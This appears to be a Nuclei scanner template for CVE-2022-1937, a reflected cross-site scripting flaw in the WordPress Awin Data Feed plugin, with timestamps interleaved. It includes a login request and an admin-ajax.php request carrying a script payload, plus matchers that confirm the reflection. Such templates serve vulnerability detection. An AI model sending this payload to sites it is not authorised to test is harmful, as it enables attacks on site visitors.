2022-07-27 04:55:13 +00:00
id : CVE-2022-1937
info :
2022-09-16 19:50:10 +00:00
name : WordPress Awin Data Feed <=1.6 - Cross-Site Scripting
2022-07-27 04:55:13 +00:00
author : Akincibor,DhiyaneshDK
2022-09-16 20:03:07 +00:00
severity : medium
2022-07-27 04:55:13 +00:00
description : |
2022-09-16 19:50:10 +00:00
WordPress Awin Data Feed plugin 1.6 and prior contains a cross-site scripting vulnerability. It does not sanitize and escape a parameter before outputting it back via an AJAX action, available to both unauthenticated and authenticated users.
2023-09-06 11:59:08 +00:00
remediation : |
Update to the latest version of the WordPress Awin Data Feed plugin (1.6 or higher) to mitigate this vulnerability.
2022-07-27 04:55:13 +00:00
reference :
- https://wpscan.com/vulnerability/eb40ea5d-a463-4947-9a40-d55911ff50e9
- https://nvd.nist.gov/vuln/detail/CVE-2022-1937
2022-07-27 05:25:22 +00:00
classification :
2022-09-16 20:03:07 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
2022-09-16 19:50:10 +00:00
cve-id : CVE-2022-1937
2022-09-16 20:03:07 +00:00
cwe-id : CWE-79
2023-08-31 11:46:18 +00:00
epss-score : 0.00097
2023-10-25 17:36:19 +00:00
epss-percentile : 0.40209
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:awin:awin_data_feed:*:*:*:*:*:wordpress:*:*
2022-07-27 04:55:13 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 11:59:08 +00:00
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : awin
product : awin_data_feed
2023-09-06 11:59:08 +00:00
framework : wordpress
2022-08-27 04:41:18 +00:00
tags : cve,cve2022,xss,awin,wpscan,wp-plugin,wp,wordpress,authenticated
2022-07-27 04:55:13 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-07-27 04:55:13 +00:00
- raw :
- |
POST /wp-login.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
GET /wp-admin/admin-ajax.php?action=get_sw_product&title=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host : {{Hostname}}
cookie-reuse : true
req-condition : true
matchers :
- type : dsl
dsl :
2023-06-19 21:10:30 +00:00
- 'contains(header_2, "text/html")'
2022-07-27 04:55:13 +00:00
- 'status_code_2 == 200'
- contains(body_2, 'colspan=\"2\"><script>alert(document.domain)</script></th>')
condition : and
2023-10-26 12:01:43 +00:00
# digest: 4b0a00483046022100b8d78abdfeeceb2906f591243d6a01016d2d33a2dc3308459da5497a1df21ef6022100d2f1e141d6737b355dd6c2462bc6023db2e9a7a93c3b9dec743661a75bcb63d5:922c64590222798bb761d5b6d8e72950